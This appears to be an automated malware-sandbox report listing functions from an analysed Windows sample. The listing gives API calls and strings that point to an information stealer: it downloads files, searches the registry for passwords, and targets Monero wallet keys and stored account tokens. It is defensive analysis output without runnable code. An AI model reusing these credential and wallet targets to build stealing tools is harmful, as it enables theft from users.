Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 9d3891db55d912dcc8a16f5e18bfe9282b4a1deb53c1d4d91326ae26e676299e
Instruction ID: 722dd29b419f339b1b261476511c4651af6915fce587453ccec7a175dd9db09e
Opcode Fuzzy Hash: 9d3891db55d912dcc8a16f5e18bfe9282b4a1deb53c1d4d91326ae26e676299e
Instruction Fuzzy Hash: 2F211DB1E44319ABDB04DFD4DD49FAEBBB8FB44B10F104519F605BB280D7B869018BA9

Function 005260A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Part of subcall function 005247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00524839
Part of subcall function 005247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00524849

InternetOpenA.WININET(00540DF7,00000001,00000000,00000000,00000000), ref: 0052610F
StrCmpCA.SHLWAPI(?,00F1E748), ref: 00526147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0052618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 005261B3
InternetReadFile.WININET(?,?,00000400,?), ref: 005261DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0052620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00526249
InternetCloseHandle.WININET(?), ref: 00526253
InternetCloseHandle.WININET(00000000), ref: 00526260

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: efbfaf289202fab1e6cae2296873da788ddc0c608b1c9a50664dc1f1a8c3cf17
Instruction ID: a414e207827295996a138bb13afa5187e37561062822d272e521bb3b024d0952
Opcode Fuzzy Hash: efbfaf289202fab1e6cae2296873da788ddc0c608b1c9a50664dc1f1a8c3cf17
Instruction Fuzzy Hash: 0C514EB1900218ABDB24DF50DC49BEE7BB8FF44701F108098F606A71C1DBB46A85CF95

Function 005272D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0052733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 005273B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0052740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00527452
HeapFree.KERNEL32(00000000), ref: 00527459
task.LIBCPMTD ref: 00527555

Strings

Password, xrefs: 00527401

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 6592440212915af7cff5f0dd4db61c1af5846deb94976671aaf276b892c8f3b5
Instruction ID: 1ebf21c3e07d9444204fa31f98916025e174a9f500a394c7d6efb7d876120826
Opcode Fuzzy Hash: 6592440212915af7cff5f0dd4db61c1af5846deb94976671aaf276b892c8f3b5
Instruction Fuzzy Hash: 28613CB5D0426D9BDB24DB50DC45FE9BBB8BF49300F0081E9E649A6181DBB05BC9CFA0

Function 0052BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

lstrlen.KERNEL32(00000000), ref: 0052BC9F

Part of subcall function 00538E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00538E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0052BCCD
lstrlen.KERNEL32(00000000), ref: 0052BDA5
lstrlen.KERNEL32(00000000), ref: 0052BDB9

Strings

AccountTokens, xrefs: 0052BABA
SELECT service, encrypted_token FROM token_service, xrefs: 0052BBEB
AccountTokens, xrefs: 0052BB49
AccountId, xrefs: 0052BCC4

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: d04a81964b8e8fa5c32cbf6bba4b08fb8766445612352990e05b66c57fae048a
Instruction ID: f27b427bd7c3753687e87b8711dbbd5486318a50e08730d617fd8aa8a5738f5b
Opcode Fuzzy Hash: d04a81964b8e8fa5c32cbf6bba4b08fb8766445612352990e05b66c57fae048a
Instruction Fuzzy Hash: A0B13272910109ABDB04FBA0DD9AEEEBB38BF94300F404558F547B6091EF746E49CB66

Function 00536770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00536774
ExitProcess.KERNEL32 ref: 005367A5
ExitProcess.KERNEL32 ref: 005367AF
ExitProcess.KERNEL32 ref: 005367B9
ExitProcess.KERNEL32 ref: 005367C3
ExitProcess.KERNEL32 ref: 005367CD

Strings

*, xrefs: 0053678C

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 5c7b14e57d63d5a90ddfd7ba3ba0bfbc439ea7b0a620366c82393dd9184f152d
Instruction ID: ca1af41fbbe35d903fd58c573f2004a416a168b1a45f76aeffb2f4e453df5ba4
Opcode Fuzzy Hash: 5c7b14e57d63d5a90ddfd7ba3ba0bfbc439ea7b0a620366c82393dd9184f152d
Instruction Fuzzy Hash: 56F05E3090430AFFD3449FE0E90972C7B70FB04703F088198E60AA6290D6B84B419F9A

Function 00524FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00524FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00524FD1
InternetOpenA.WININET(00540DDF,00000000,00000000,00000000,00000000), ref: 00524FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00525011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00525041
InternetCloseHandle.WININET(?), ref: 005250B9
InternetCloseHandle.WININET(?), ref: 005250C6

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 539b5c5204dab33661268d178bfac167bca2ee2424dc1a7ddf04e57271d167b1
Instruction ID: 36f847a477e24e842ade6f5319b0eba70b2fc07a21d148fa085cae3ee3a1c1dc
Opcode Fuzzy Hash: 539b5c5204dab33661268d178bfac167bca2ee2424dc1a7ddf04e57271d167b1
Instruction Fuzzy Hash: C031EBB4A00218ABDB20CF54DC89BDDB7B4FB48704F5081D9E60AB7281D7B46A858F99

Function 005383DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00538426
wsprintfA.USER32 ref: 00538459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0053847B
RegCloseKey.ADVAPI32(00000000), ref: 0053848C
RegCloseKey.ADVAPI32(00000000), ref: 00538499

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

RegQueryValueExA.ADVAPI32(00000000,00F1E200,00000000,000F003F,?,00000400), ref: 005384EC
lstrlen.KERNEL32(?), ref: 00538501
RegQueryValueExA.ADVAPI32(00000000,00F1E458,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00540B34), ref: 00538599
RegCloseKey.ADVAPI32(00000000), ref: 00538608
RegCloseKey.ADVAPI32(00000000), ref: 0053861A

Strings

%s\%s, xrefs: 0053844D

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 82b52549a7c7b60c2f17558fcde4d78be32d443e3c707a73d904f234dc287075
Instruction ID: 858ecd55003abdd5abe0fd140faf7e36b372b282867361de524d04e731f11ba5
Opcode Fuzzy Hash: 82b52549a7c7b60c2f17558fcde4d78be32d443e3c707a73d904f234dc287075
Instruction Fuzzy Hash: 7221E9B1910218ABDB24DF54DC85FE9B7B8FB88704F00C5D8E60AA6180DF75AA85CFD4

Function 00537690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005376A4
RtlAllocateHeap.NTDLL(00000000), ref: 005376AB
RegOpenKeyExA.ADVAPI32(80000002,00F0BE88,00000000,00020119,00000000), ref: 005376DD
RegQueryValueExA.ADVAPI32(00000000,00F1E308,00000000,00000000,?,000000FF), ref: 005376FE
RegCloseKey.ADVAPI32(00000000), ref: 00537708

Strings

Windows 11, xrefs: 005376BD

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: e8244cb356235325f84e2ad29ce25e3cecb6dfa34cc961c404af390bb3b81309
Instruction ID: b424a2e32be85e05935a758186aef0ce71ff8756421b9ddde032dcd442b5a9d3
Opcode Fuzzy Hash: e8244cb356235325f84e2ad29ce25e3cecb6dfa34cc961c404af390bb3b81309
Instruction Fuzzy Hash: F20162B5A04309BBDB10DBE4DD49FADBBB8EB48701F108454FA06E7291E6B89900CF55

Function 00537720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00537734
RtlAllocateHeap.NTDLL(00000000), ref: 0053773B
RegOpenKeyExA.ADVAPI32(80000002,00F0BE88,00000000,00020119,005376B9), ref: 0053775B
RegQueryValueExA.ADVAPI32(005376B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0053777A
RegCloseKey.ADVAPI32(005376B9), ref: 00537784

Strings

CurrentBuildNumber, xrefs: 00537771

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: b49f8f19f39d06d5270fa68ccb923950efb747e499f6c562790e5295301e8829
Instruction ID: 10adab060765213026400a613178a6949b5a4fbc19240f0c1969a5a703478e43
Opcode Fuzzy Hash: b49f8f19f39d06d5270fa68ccb923950efb747e499f6c562790e5295301e8829
Instruction Fuzzy Hash: 1F0117B5A40309BBDB10DFE4DC4AFAEB7B8FB48705F108555FA06B7281D6B469008F55

Function 005392E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:S,80000000,00000003,00000000,00000003,00000080,00000000,?,00533AEE,?), ref: 005392FC
GetFileSizeEx.KERNEL32(000000FF,:S), ref: 00539319
CloseHandle.KERNEL32(000000FF), ref: 00539327

Strings

:S, xrefs: 005392F8, 005392FB
:S, xrefs: 00539311, 0053933D, 00539314

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :S$:S
API String ID: 1378416451-1984518138
Opcode ID: e3da8dea96df9764e10d520508190f8b8172e91d01ee48ec97a72d96ca44e81c
Instruction ID: 7b3111305f227f90573a43054e00242234df0b0dc19f0a4fb591813bcecbcbff
Opcode Fuzzy Hash: e3da8dea96df9764e10d520508190f8b8172e91d01ee48ec97a72d96ca44e81c
Instruction Fuzzy Hash: 25F03CB5E44308BBDB10DBB4DC49B9E7BB9FB48710F10CA54F652A72C0D6B496018F45

Function 005299C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005299EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00529A11
LocalAlloc.KERNEL32(00000040,?), ref: 00529A31
ReadFile.KERNEL32(000000FF,?,00000000,0052148F,00000000), ref: 00529A5A
LocalFree.KERNEL32(0052148F), ref: 00529A90
CloseHandle.KERNEL32(000000FF), ref: 00529A9A

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
